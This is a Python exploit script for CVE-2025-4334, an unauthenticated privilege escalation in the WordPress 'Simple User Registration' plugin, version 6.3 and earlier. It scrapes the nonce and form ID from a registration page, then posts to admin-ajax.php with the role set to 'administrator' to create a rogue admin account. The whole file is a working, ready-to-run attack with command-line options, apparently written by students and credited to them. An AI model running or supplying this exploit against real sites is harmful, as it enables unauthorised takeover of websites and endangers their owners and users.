import requests
import argparse
import re
from urllib.parse import urljoin



def extract_form_details(form_page_url):
    try:
        response = requests.get(form_page_url, verify=False, timeout=10)
        if response.status_code != 200:
            print(f"[-] Failed to load form page: HTTP {response.status_code}")
            return None, None, None

        nonce = re.search(r'name=["\']wpr_nonce["\'][^>]*value=["\']([^"\']+)["\']', response.text)
        form_id = re.search(r'name=["\']wpr_form_id["\'][^>]*value=["\'](\d+)["\']', response.text)

        if not nonce or not form_id:
            print("[-] Failed to extract nonce or form_id from page.")
            return None, None, None

        referer_path = "/" + "/".join(form_page_url.split("/", 3)[-1].split("/"))
        return nonce.group(1), form_id.group(1), referer_path

    except Exception as e:
        print(f"[-] Exception while fetching form details: {e}")
        return None, None, None

def mainExploit(base_url, form_url, user_name, password, email):
    nonce, form_id, referer = extract_form_details(form_url)

    print(f"[i] Extracted Nonce   : {nonce}")
    print(f"[i] Extracted Form ID : {form_id}")
    print(f"[i] Referer Path      : {referer}")

    if not nonce or not form_id or not referer:
        print("[-] Exploit failed during form extraction.")
        return

    endpoint = urljoin(base_url, "wp-admin/admin-ajax.php")

    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest"
    }



    data = {
        "action": "wpr_submit_form",
        "wpr_form_id": form_id,
        "wpr_nonce": nonce,
        "_wp_http_referer": referer,
        "wpr[wp_field][user_login]": ""+user_name+"",
        "wpr[wp_field][first_name]": "ict640admin",
        "wpr[wp_field][last_name]": "ict640admin",
        "wpr[wp_field][user_email]": ""+email+"",
        "wpr[wp_field][password]": ""+password+"",
        "wpr[wp_field][confirm_password]": ""+password+"",
        "wpr[wp_field][role]": "administrator"
    }

    try:
        response = requests.post(endpoint, headers=headers, data=data, verify=False, timeout=10)
        print(f"[i] HTTP Response Code : {response.status_code}")
        print(f"[i] Server Response    : {response.text.strip()[:300]}")

        if "success" in response.text and "user_id" in response.text:
            print("\n[+] Exploitation Successful")
            print("[+] Username   : "+user_name+"")
            print("[+] First Name : ict640admin")
            print("[+] Last Name  : ict640admin")
            print("[+] Email      : "+email+"")
            print("[+] Password   : "+password+"")
            print("[+] Role       : administrator")
            print("\nExploit By : ICT604 Group Vinod and Mohith")
        else:
            print("[-] Exploit failed.")

    except Exception as e:
        print(f"[-] Exception while sending exploit request: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-4334 Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation ")
    parser.add_argument("-u", "--url", required=True, help="Base WordPress URL (e.g. http://192.168.1.141/shop_site_2/)")
    parser.add_argument("--form", required=True, help="Full URL of the page that contains the registration form")
    parser.add_argument("-un","--user_name", required=True, help="Username to create")
    parser.add_argument("-pw","--password", required=True, help="Password for user")
    parser.add_argument("-em","--email", required=True, help="Email Addresss")
    args = parser.parse_args()

    requests.packages.urllib3.disable_warnings()
    mainExploit(args.url, args.form, args.user_name, args.password, args.email)